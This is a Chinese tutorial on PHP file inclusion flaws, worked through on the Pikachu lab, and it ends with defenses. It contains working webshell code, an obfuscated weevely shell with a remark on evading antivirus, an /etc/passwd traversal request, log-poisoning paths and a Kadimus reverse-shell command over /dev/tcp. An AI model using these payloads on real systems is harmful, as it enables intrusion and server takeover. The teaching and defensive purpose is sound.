文件包含笔记

news2024/11/28 16:47:18

很多语言支持使用包含文件,这样允许开发者把可重复使用的代码存入单个文件中,在未来需要使用时,将它包含在其他代码文件中即可使用。
如果是像 C/C++ 这种编译语言,即使可以包含任意文件,若没有调用其中函数也不会有什么影响;但是像 PHP 这种解析型语言,文件放在服务器上被访问就可能被执行了,PHP 中常用的文件包含函数有:

  1. include()
  2. include_once()
  3. require()
  4. require_once()

当上述函数参数被外部任意控制时,就可以引用包含恶意代码的文件,导致执行恶意代码,这就是漏洞产生的原因。比如如下漏洞代码,由外部的 GET 参数 filename 控制包含的文件路径,就导致文件包含漏洞的产生。

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

根据所包含的文件位置,可以分为远程文件包含和本地文件包含。

远程文件包含

若所包含的文件位于远程服务器,那么它就属于远程文件包含,这种情况需要服务端的 php.ini 支持以下配置:

  • allow_url_fopen = On(允许打开远程文件)
  • allow_url_include = On(允许包含远程文件,在 PHP 5.2 之后默认关闭)

以 Pikachu 靶场中的“File Inclusion(remote)”题目为例,先来看题目界面:
在这里插入图片描述

关键的漏洞代码如下:

if(isset($_GET['submit']) && $_GET['filename']!=null){
	    $filename=$_GET['filename'];
	    include "$filename";//变量传进来直接包含,没做任何的安全限制
}

给 GET 参数 filename 传递个远程 PHP 文件地址即可包含进去,造成代码执行。我已经在另一台机器上存放 phpinfo.php 执行 phpinfo() 函数,地址是 http://127.0.0.1/phpinfo.php,phpinfo.php 代码如下:

<?php phpinfo(); ?>

此处我使用 Trmper Chrome 去抓包,然后在题目上的下拉菜单中选一个,点“提交”:
在这里插入图片描述
得到 GET 请求地址与参数,可以看出用于包含文件的参数 filename 被设置为 “include/file3.php”:

http://127.0.0.1:8080/vul/fileinclude/fi_remote.php?filename=include%2Ffile3.php&submit=%E6%8F%90%E4%BA%A4

修改 filename 参数为http:/127.0.0.1/phpinfo.php,该 phpinfo.php 就执行 phpinfo() 函数,访问如下 URL:

http://127.0.0.1:8080/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/phpinfo.php&submit=%E6%8F%90%E4%BA%A4

phpinfo 执行成功了:
在这里插入图片描述
接入来利用就简单了,我们直接远程包含一个创建一句话木马的 txt 文件,不用 PHP 后缀是为了避免在自己服务器被执行。
为了演示,我在 http://127.0.0.1/shell.txt 创建文件(如果你没有自己的服务器,去 github 上存储一个木马文件也是可行的),写入如下代码,用于生成一句话木马:

<?php
  $a = "<?php eval(\$_POST['Cknife'])?>";
  file_put_contents("a.php",$a);
?>

然后访问如下 URL 就会在服务端生成一句话木马文件 a.php:

http://127.0.0.1:8080/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/shell.txt&submit=%E6%8F%90%E4%BA%A4

成功生成一句话木马文件 a.php:

sudo docker exec -it 7286434c6e88 /bin/bash
root@7286434c6e88:/# cat /var/www/html/a.php
<?php eval($_POST['Cknife'])?>

可以用 Cknife、菜刀、冰蝎等客户端工具去连接一句话木马,就可以直接控制服务器了,此处不再赘述。
前面介绍的一句话木马比较容易被检测到,个人喜欢使用 weevely3,因为它支持变形的一句话木马:

$ python3 weevely.py
[+] weevely 4.0.1
[!] Error: the following arguments are required: path
[+] Run terminal or command on the target
    weevely <URL> <password> [cmd]
[+] Recover an existing session
    weevely session <path> [cmd]
[+] Generate new agent
    weevely generate <password> <path>
$ python3 weevely.py generate 'test' ./shell.php
Generated './shell.php' with password 'test' of 761 byte size.

看下生成的 shell.php 代码,可以看到其内容都是经过混淆的,肉眼是很难直接看懂的,有助于逃过一些木马的查杀。

$ cat shell.php
<?php
$S='!("/$^!kh(.+^!)^!$kf/",@file^!_g^!et_content^!s("p^!hp^!://input"),$m^!)=^!=1) {@ob_star^!t^!();@ev';
$p='$^!k^!="098f6bcd";$kh="4^!62^!1d373c^!ad^!e";$kf^!="4e832627b^!4f6";$p="q^!BSPYX^!xS^!wBm8fbHZ";f^!u';
$x='=0;($^!j<$c&&$i<$^!l);$j++^!,$i^!++){$^!o.=$t{^!$i^!}^$k{^!$^!j};}}return $o;}if^! (^!@preg_match^';
$Y='^!al(^!@gzunc^!omp^!res^!s(@x(@base^!64_d^!ecode($m[^!1]),$k)));$^!o=@o^!b_get_conte^!nts()^!;@ob_e';
$k=str_replace('ha','','hacreathae_hafhaunhahaction');
$m='nc^!tio^!n x($t^!,$k^!)^!{$c=strlen($k)^!;$l=strlen(^!$t);$o=^!"";f^!^!or($i=^!0;$^!i<$l;^!){for($j';
$h='^!n^!d_clean();^!$^!r=@ba^!s^!e64^!_encode(@x(@gzcompre^!ss^!($o),^!$k));prin^!^!t("$p$kh$r$kf");}';
$E=str_replace('^!','',$p.$m.$x.$S.$Y.$h);
$o=$k('',$E);$o();
?>

但是工具一旦出名后,就容易被查杀,需要自己去做一些去特征化的免杀的处理,这不在本课程的讨论范围,有兴趣的话,你可以网上搜索关于木马免杀的文章。
之后 weevely.py 客户端直接连接就可以获得服务器的 shell 权限。

$ python3 weevely.py http://127.0.0.1:8080/shell.php test
[+] weevely 4.0.1
[+] Target:	www-data@7286434c6e88:/app
[+] Session:	/home/admin/.weevely/sessions/127.0.0.1/shell_1.session
[+] Shell:	System shell
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely> ls
a.php
assets
Dockerfile
footer.php
header.php
inc
index.php
install.php
LICENSE
pkxss
README.md
shell.php
shell.txt
test
vul
wiki
www-data@7286434c6e88:/app $ id
uid=1000(www-data) gid=50(staff) groups=50(staff)

本地文件包含

如果加载的包含文件不允许从外部服务器获取,只能加载本地文件,那么这就属于本地文件包含。正常情况下,本地文件并不会包含一句话木马等恶意文件(需要使用其他更高级的利用技巧,具体见下文),但有时可以用来读取服务器的敏感文件,如果对方有回显的话。
比如 Pikachu 靶场的“File Inclusion(local)”题目,我们可以尝试读取 /etc/passwd 文件,构造如下请求:

http://127.0.0.1:8080/vul/fileinclude/fi_local.php?filename=../../../../../../../../etc/passwd&submit=%E6%8F%90%E4%BA%A4

成功读取到 /etc/passwd 文件。
在这里插入图片描述

漏洞利用技巧

随着PHP 5.2 之后默认关闭 allow_url_include 配置,也降低了远程文件包含漏洞的出现。但是本地文件包含漏洞的利用方式,很多也适用于远程文件包含漏洞,下面会介绍一些相对通用的利用技巧。
此处漏洞利用的目标仍然是为了获取服务器的 shell 权限,就需要设法在服务器上写入文件,内容自然是一句话等恶意代码内容。但是,我们手上又没有写任意文件的漏洞可利用,只能看看服务器上哪些文件会写入外部用户可控数据,或者其他可执行 PHP 代码的方式。
总结起来,主要有下面几种利用方式。
1.写日志文件
如果服务器开启访问日志记录的话,那么用户的请求数据就会被记录在日志文件,若我们在地址上包含一句话木马的话,也同样会被记录进去。如果将一句话写在 URL 中常常会被 URL 编码存储,因此需要写 User-Agent 中,其他 HTTP 头默认不会被记录:
在这里插入图片描述
写入一句话木马之后,利用方式前面已经多次讲过,此处不再赘述。
常见的日志文件路径有:

/var/log/apache/access_log
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/www/logs/access_log
/var/log/access_log
……

除此之外,还有些 SSH、FTP、邮件等可产生日志的地方都可以自由发挥。
2.写系统环境文件
/proc/self/environ 包含一些系统环境变量,比如 HTTP_USER_AGENT、HTTP_REFERER 等等,但需要 root 权限。如果当前的 web 应用无法写 /proc/self/environ 文件,就无法利用此方法,。
若拥有写 /proc/self/environ 的权限,那么可以在 User Agent 中写入创建一句话木马的 PHP 代码,然后再利用漏洞包含 /proc/self/environ 文件实现代码的执行,整个过程与写日志文件的方式类似。
3.写 Session 文件
PHP 中的 Session 文件用于存储 Session 数据,它是根据 PHPSESSID 来命名文件存储,它常见下面几个路径:

/var/lib/php/sessions/sess_{PHPSESSID}
/var/lib/php/sess_{PHPSESSID}
/tmp/sess_{PHPSESSID}
/tmp/sessions/sess_{PHPSESSID}

PHPSESSID 存放在 Cookie 中:
在这里插入图片描述
在 Pikachu 靶场中的对应 Session 文件为:
/var/lib/php/sessions/sess_v2lvugriupo8qm9r8c7ot7lol2

不过它是空文件,因为它没有写 Session 的行为。
但如果有用户数据存储到 Session 的行为,比如代码:

<?php
session_start();
$ctfs=$_GET['data'];
$_SESSION["username"]=$data;
?>

就可以通过 GET 参数 data 写入要执行的 PHP 代码,然后利用漏洞包含对应的 Session 文件就可以实现代码执行。这种利用方式不是那么通用,得多尝试才知道如何写数据到 Session 文件,甚至可能一直找不到。
4.利用上传文件
如果有上传文件的地址,并且可以知道上传路径,比如上传头像的位置,可以上传个写一句话木马的 jpg 文件,然后利用文件包含漏洞去执行。
5.利用 PHP 伪协议
PHP 拥有许多伪协议,在远程和本地文件包含中都可以使用,我做个表总结下:
在这里插入图片描述
此处直接利用 data:// 执行代码,这比远程文件包含中利用方式便捷太多了,比如下面直接系统命令的示例:
在这里插入图片描述

挖掘文件包含漏洞

1.动态检测思路
挖掘文件包含漏洞的方式与测试漏洞的利用思路是一样的,分为本地和远程两种情况。

  • 远程文件包含漏洞检测

(1)向目标参数指定远程 URL 发起请求,确定远程服务器是否收到相应请求,此步骤可利用前面介绍过的 Burp Collaborator 进行测试。若发起请求说明有可能存在远程请求文件,同时也可能出现 SSRF 漏洞。
(2)如果第 1 步失败,尝试提交一个不存在的 IP 地址,并确认服务器尝试连接此 IP 时是否会出现超时。
(3)若第 1 步确认访问成功或者第 2 步确认请求超时,那么按前面介绍的利用方法,尝试利用远程文件包含漏洞以作最终确认。

  • 本地文件包含漏洞检测

(1)向目标参数提交一个已知的可执行资源的文件路径,比如 PHP 文件路径,看应用程序是否有任何变化。
(2)向目标参数提交一个已知的静态资源的文件路径,比如图片,看它的内容是否会再现在响应数据中。
(3)若第 1 步或第 2 步出现引用指定资源的情况,则按前面介绍的利用技巧尝试对疑似本地文件包含漏洞进行测试验证。
上述检测思路既适用于手工测试,也适用于日常的自动化扫描。
2.静态检测思路
从源码入手,采用前面介绍过的污点分析思路进行代码审计。梳理下文件包含漏洞产生的相关 source 与 sink,然后去追踪数据流从 source 传播到 sink 过程中是否有进行过滤,若没有则可能存在文件包含漏洞。
在这里插入图片描述
3.自动化检测与利用工具:Kadimus
提到自动化扫描,这里推荐一款自动化检测与利用文件包含漏洞的工具,它叫 Kadimus,支持较多的利用方式,有部分是在前面未介绍到的,比如利用 /var/log/auth.log 实现远程代码执行的方法,利用它可以更加便捷地针对文件包含漏洞进行测试利用。
介绍几个常用命令:

# 检测参数是否存在文件包含漏洞
./kadimus -u localhost/?pg=contact -A my_user_agent
# 读取文件内容
./kadimus -u localhost/?pg=contact -S -f "index.php%00" -O local_output.php --parameter pg
# 执行PHP代码
./kadimus -u localhost/?pg=php://input%00 -C '<?php echo "pwned"; ?>' -T input
# 执行系统命令
./kadimus -t localhost/?pg=/var/log/auth.log -T auth -c 'ls -lah' --ssh-target localhost
# 反连shell
./kadimus -u localhost/?pg=contact.php -T data --parameter pg -lp 12345 -c '/bin/bash -c "bash -i >& /dev/tcp/172.17.0.1/1234 0>&1"' --retry-times 0

漏洞防御

1.白名单限制
如果已经知道要包含的文件范围,那么直接使用白名单限制,比如:

if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

2.设置 open_basedir
在 php.ini 中设置 open_basedir,可允许将 PHP 打开的文件限制在指定的目录中,可有效防止跨目录访问一些系统敏感文件。除了 php.ini 设置方法外,还可在代码中设置:
ini_set(‘open_basedir’, ‘指定目录’);

3.关闭 allow_url_include
在 php.ini 中设置 allow_url_include=Off(默认关闭),避免远程文件包含,同时减少一些伪协议的攻击,提高漏洞利用成本。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/41815.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【从零开始学微服务】05.微服务的优势和不足

大家好&#xff0c;欢迎来到万猫学社&#xff0c;跟我一起学&#xff0c;你也能成为微服务专家。 没有“银弹” 在一些电影中&#xff0c;“银弹”被视作能迅速杀死狼人的武器&#xff0c;是杀死狼人的灵丹妙药。“银弹”常被比喻为解决复杂问题的良方或高招。 由于软件的复杂…

11.27

一.进制转换 这道题的思路就是先把每个数模对应的进制.再除以,就得到对应的, 因为可能会有16进制,所以直接弄一个字符串数组,按照"0123456789ABCDEF"顺序存储,再用模找里面对应的就可以了 但是有可能是负数,所以我们需要在此之前判断一下 如果用字符串临时拼接会产…

2008年武汉高校630操作系统真题B卷

操作系统————核心系统软件 竞争计算机系统资源的基本单位————进程 UNIX————分时操作系统 操作系统中必不可少的调度————进程调度 进程和程序的本质区别————前者是动态后者是静态 磁带————顺序存储文件 某进程在运行过程中需要等待从磁盘上读入数…

tensorflow-serving docker模型部署(以mnist为例)

✨ 博客主页&#xff1a;小小马车夫的主页 ✨ 所属专栏&#xff1a;Tensorflow 文章目录前言一、环境介绍二、tensorflow-serving docker安装三、单模型部署 (以官方demo saved_model_half_plus_two_cpu为例)1、docker模型部署2、python requests模型预测四、多模型部署 (以mni…

算法提升:图的拓扑排序算法

目录 概念 思路 代码 概念 拓扑序列&#xff1a;一些活动&#xff0c;其中某些活动必须在另一些活动完成之后才能开始&#xff0c;一定是无环的有向图&#xff0c;称为AOV网。 拓扑排序&#xff0c;其实就是对一个有向图构造拓扑序列的过程。构造时会有两个结果&#xff1a…

Go中赋值和转换关系

Go中的赋值跟类型转换: 在java中反射是可以获取继承关系,而go语言实际是不支持继承的,所以必须是相同的类型才能使用AssignableTo(),ConvertibleTo() package mainimport ("fmt""reflect" )type User struct {Name string } func demo(){user:User{Name:…

C#语言实例源码系列-实现自定义屏保

专栏分享点击跳转>Unity3D特效百例点击跳转>案例项目实战源码点击跳转>游戏脚本-辅助自动化点击跳转>Android控件全解手册 &#x1f449;关于作者 众所周知&#xff0c;人生是一个漫长的流程&#xff0c;不断克服困难&#xff0c;不断反思前进的过程。在这个过程中…

Class文件结构

文章目录1.概述1.1 字节码文件的跨平台性1.2 Java的前端编译器1.3 透过字节码指令看代码细节2. 虚拟机的基石:Class文件3. Class文件结构3.1 魔数3.2 Class文件版本号3.3 常量池3.4 访问标识3.5 类索引、父类索引、接口索引集合3.6 字段表集合3.7 方法表集合3.8 属性表集合4. 使…

No.178# 混沌工程相关内容梳理

引言随着公司规模业务的快速增长&#xff0c;数以千计甚至万计的微服务&#xff0c;依赖的各类组件越来越多。分布式体系架构体系越来越复杂&#xff0c;没有任何一个人能够掌控所有复杂的耦合性。也就是说复杂性无法避免&#xff0c;不可能再回到单体应用&#xff0c;也无法彻…

西门子精彩触摸屏SMART V3组态配方的具体方法示例

西门子精彩触摸屏SMART V3组态配方的具体方法示例 本次和大家分享在精彩系列触摸屏中进行配方组态的具体方法,以下内容仅供大家参考: 如下图所示,首先,在连接中添加新的连接,这里以S7-200SMART为例,PLC和HMI的IP地址要设置在同一网段内, 如下图所示,在变量中,添加配…

【Java面试】来讲一讲你对String的理解

文章目录字符型常量和字符串常量的区别什么是字符串常量池&#xff1f;String 是最基本的数据类型吗String有哪些特性String为什么是不可变的&#xff1f;String真的是不可变的吗&#xff1f;String不可变的必要性是否可以继承 String 类数组有没有 length()方法&#xff1f;St…

windows线程 互斥锁CreateMutex、ReleaseMutex、CloseHandle

互斥 相关问题 多线程下代码或资源的共享使用。 互斥的使用 1.创建互斥 HANDLE CreateMutex( LPSECURITY_ATTRIBUTES lpMutexAttributes,//安全属性&#xff08;废弃参数&#xff0c;置NULL&#xff09; BOOL bInitialOwner,//初始的拥有者TRUE/FALSE LPCTSTR lpName //命名 );…

集成电路技术——如何制造芯片(1)

1.概述 电子工业是现在高新技术的核心&#xff0c;它在人类的科技发展中发挥了巨大作用&#xff0c;电子工业已经成为成为当今世界发展最快的高新技术产业&#xff0c;在全世界各国国民经济中起着举足轻重的作用。当今的电子技术离不开集成电路&#xff0c;集成电路是电子工业…

hadoop集群迁移

集群迁移 主要是要找到两个集群中active状态的namenode 集群迁移不同于服务器之间的文件发送&#xff0c;在hdfs中&#xff0c;文件是以块的形式&#xff0c;只可以通过namenode访问文件&#xff0c;所以迁移时需要通过hadoop命令 主要命令是distcp distcp有很多参数&#xf…

Kafka - 06 Kafka 集群环境搭建(三台服务器)

文章目录1. 克隆虚拟机2. Zookeeper 集群搭建3. Kafka 集群搭建4. 测试消息发送和消费1. 主题操作2. 生产者生产消息3. 消费者消费消息1. 克隆虚拟机 kafka集群搭建&#xff0c;需要3台虚拟机环境&#xff0c;但是我目前只安装了一台虚拟机&#xff0c;因此还需要准备两台虚拟…

[附源码]计算机毕业设计springboot-Steam游戏平台系统论文

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

纯CSS制作3D动态相册【流星雨3D旋转相册】HTML+CSS+JavaScriptHTML5七夕情人节表白网页制作

这是程序员表白系列中的100款网站表白之一&#xff0c;旨在让任何人都能使用并创建自己的表白网站给心爱的人看。 此波共有100个表白网站&#xff0c;可以任意修改和使用&#xff0c;很多人会希望向心爱的男孩女孩告白&#xff0c;生性腼腆的人即使那个TA站在眼前都不敢向前表白…

MySQL数据库管理及用户管理以及数据库用户授权

MySQL数据库管理及用户管理以及数据库用户授权MySQL数据库管理1、库和表2、常用的数据类型查看数据库结构SQL语句1、SQL语句分类&#xff1a;创建及删除数据库和表管理表中的数据记录&#xff08;表数据的增删改查&#xff09;向数据表中插入新的数据记录&#xff08;增&#x…

大二Web课程设计——动漫海贼王(可以很好的应付老师的作业)

HTML实例网页代码, 本实例适合于初学HTML的同学。该实例里面有设置了css的样式设置&#xff0c;有div的样式格局&#xff0c;这个实例比较全面&#xff0c;有助于同学的学习,本文将介绍如何通过从头开始设计个人网站并将其转换为代码的过程来实践设计。 精彩专栏推荐&#x1f4…

Java基础:入门程序、常量、变量

第一章 HelloWorld入门程序 1.1 程序开发步骤说明 Java程序开发三步骤&#xff1a;编写、编译、运行。 1.2 编写Java源程序 在D:\java\javaCode目录下新建文本文件&#xff0c;完整的文件名修改为HelloWorld.java&#xff0c;其中文件名为 HelloWorld&#xff0c;后 缀名必须…